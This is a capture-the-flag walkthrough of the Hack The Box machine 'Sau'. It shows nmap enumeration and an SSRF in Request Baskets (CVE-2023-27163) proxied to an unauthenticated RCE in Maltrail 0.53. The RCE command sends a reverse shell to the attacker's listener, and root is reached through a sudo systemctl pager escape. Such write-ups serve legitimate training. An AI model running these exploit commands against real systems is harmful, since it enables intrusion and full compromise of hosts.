Introduction
Sau is an Easy machine on Hack The Box that focuses on exploiting two vulnerabilities to obtain initial access ultimately. Privilege escalation is then achieved by exploiting a legitimate binary.
Contents
Enumeration
Nmap reveals three ports:
22
80
55555
nmap -sV -sC -T4 10.129.82.3 -oA nmap-sau
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
| 256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_ 256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp filtered http
55555/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Sun, 15 Oct 2023 04:01:09 GMT
| Content-Length: 75
| invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /web
| Date: Sun, 15 Oct 2023 04:00:37 GMT
| Content-Length: 27
| href="/web">Found</a>.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS
| Date: Sun, 15 Oct 2023 04:00:38 GMT
|_ Content-Length: 0
<SNIP>
SSH is a dead end, and port 80 is filtered, but browsing to
http://10.129.82.3:55555
lands on a site titled Request Baskets.
What’s Request Baskets?
Request Baskets are a concept often implemented as a tool or a service used to capture, inspect, and debug HTTP requests. They provide a temporary “basket” or “bucket” that captures incoming HTTP requests for analysis. This is particularly useful for debugging webhooks, HTTP clients, or other services that send HTTP requests.
An implementation usually works like this:
Create a new Request Basket, which provides a unique URL endpoint.
Configure the application, webhook, or service to send HTTP requests to the URL.
Inspect the incoming HTTP requests to the basket
Use the captured information to test or debug issues, validate payloads, or run other types of tests.
We can see that this particular implementation is on version 1.2.1, which is vulnerable to CVE-2023–27163 - a Server-Side Request Forgery (SSRF)
What’s SSRF?
SSRF, or Server-Side Request Forgery, is a security vulnerability that allows an attacker to make requests to internal resources within an organization’s network, effectively bypassing firewalls. In SSRF attacks, the attacker manipulates a vulnerable web application to make requests to an internal resource, which could be anything from cloud services to databases or even restricted parts of the web application itself.
The attack often occurs when a web application doesn’t properly validate or sanitise user input for URLs. An attacker can trick the server into making an unauthorised request to internal resources, potentially revealing sensitive information or executing commands.
It’s particularly concerning in cloud environments, where metadata APIs can expose sensitive data, leading to more severe attacks like privilege escalation.
Prevention often involves input validation, restricting outbound requests from the server, or implementing allow lists for permissible URLs.
Attack vector
Given port 80 is filtered, but there is an implementation of Request Baskets on port 55555 that is vulnerable to SSRF, this appears to provide a way to forward requests to the service running on port 80. A PoC of the SSRF vulnerability on Request-Baskets can be found here.
Testing
Creating a new basket in the web app and then configuring port 80 as the forward URL on a local interface can confirm this.
Hovering over the Proxy Response
option, we can see it will Proxy the response from the forward URL back to the client.
Checking this option will return the response from http://localhost:80.
Triggering a request by browsing to http://10.129.82.3:55555/wnnyr21
returns a seemingly malformed web app called Maltrail.
The app runs version 0.53, which is vulnerable to a Remote Code Execution.
┌──(kali㉿kali)-[~]
└─$ searchsploit maltrail
----------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------- ---------------------------------
Maltrail v0.53 - Unauthenticated Remote Code Executi | python/webapps/51676.py
Initial access
Using the first exploit, a basket can be created that, when accessed, will make a request to
http://localhost:80, as tested manually.
┌──(kali㉿kali)-[~/Documents/HTB-Machines/sau/exploits]
└─$ ./CVE-2023-27163.sh http://10.129.82.3:55555/ http://localhost:80
Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163
> Creating the "ndapra" proxy basket...
> Basket created!
> Accessing http://10.129.82.3:55555/ndapra now makes the server request to http://localhost:80.
./CVE-2023-27163.sh: line 43: jq: command not found
> Response body (Authorization): {"token":"uQW06XHLrVKiZsq2XbeXRbrb6PRlQ53tTAVeaA-Puolb"}
This basket can then be used to proxy the second exploit to the vulnerable implementation of Maltrail.
┌──(kali㉿kali)-[~/Documents/HTB-Machines/sau/exploits]
└─$ python3 51676.py 10.10.14.12 4321 http://10.129.82.3:55555/ndapra
Running exploit on http://10.129.82.3:55555/ndapra/login
The payload is executed on the Maltrail instance running on port 80, and a reverse shell is successfully caught on the listener.
Privilege escalation
Privilege escalation is reasonably straightforward.
Checking what the user can run as sudo returns one binary: /usr/bin/systemctl status trail.service
$ sudo -l
sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
GTFOBIns says the following about systemctl
ran as sudo:
If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor.
Running the binary seems to drop into a new terminal session:
$ sudo /usr/bin/systemctl status trail.service
sudo /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
- (press RETURN)
Attempting to execute a new shell from this terminal will spawn it under sudo:
$ sudo /usr/bin/systemctl status trail.service
sudo /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
- (press RETURN)!/bin/sh
!//bbiinn//sshh!/bin/sh
# whoami
whoami
root
And the root flag is located.